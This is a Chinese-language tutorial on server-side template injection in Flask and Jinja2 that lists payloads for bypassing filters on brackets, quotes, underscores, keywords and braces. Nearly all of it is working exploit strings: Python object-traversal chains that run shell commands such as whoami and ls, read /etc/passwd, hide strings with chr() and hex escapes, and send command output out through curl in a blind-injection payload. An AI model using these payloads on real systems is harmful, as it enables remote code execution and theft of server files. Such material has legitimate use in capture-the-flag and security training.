【SSTI模块注入】SSTI+Flask+Python(下):绕过过滤

目录

一、绕过[]过滤

方法一:__getitem__

方法二:pop()

二、绕过引号'过滤

方法一:对象request(jinjia2)

方法二:chr函数

三、绕过下划线_过滤

方法一:request.args.

四、关键字过滤

方法一:拼接

方法二:内置函数

方法三:转换

五、绕过花括号{}过滤

方法一:{% if ... %}1{% endif %}


一、绕过[]过滤

方法一:__getitem__

''.__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(127).__init__.__globals__["popen"]("whoami").read()

方法二:pop()

移除列表中的一个元素(默认最后一个元素),并且返回该元素的值

''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()

''.__class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen('ls').read()



二、绕过引号'过滤

方法一:对象request(jinjia2)

1、

{{[].__class__.__mro__[1].__subclasses__()[300].__init__.__globals__[request.args.arg1]}}&arg1=os

args是数组,可以进行自定义传值


2、

{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read() }}&path=/etc/passwd

方法二:chr函数

1、

{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}


2、

%2b是+,char()可以查看ASCII码对应表

{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(47)%2bchr(101)%2bchr(116)%2bchr(99)%2bchr(47)%2bchr(112)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(119)%2bchr(100)).read()}}



三、绕过下划线_过滤

方法一:request.args.

{{ ''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__

GET传参:request.args

POST传参:request.values



四、关键字过滤

方法一:拼接

{{request['__cl'+'ass__'].__mro__[12]}}

或者

.__init__.__globals__["sys"+"tem"]


~ 在jinja中可以拼接字符串

方法二:内置函数

replace、decode……

方法三:转换

{{"".__class__}} 

转换为十六进制进行绕过

{{""["\x5f\x5fclass\x5f\x5f"]}}



五、绕过花括号{}过滤

方法一:{% if ... %}1{% endif %}

{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://127.0.0.1:7999/?i=`whoami`').read()=='p' %}1{% endif %}


配合盲注

{% if ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/test').read()[0:1]=='p' %}1{% endif %}

你可能感兴趣的:(flask,python,web安全)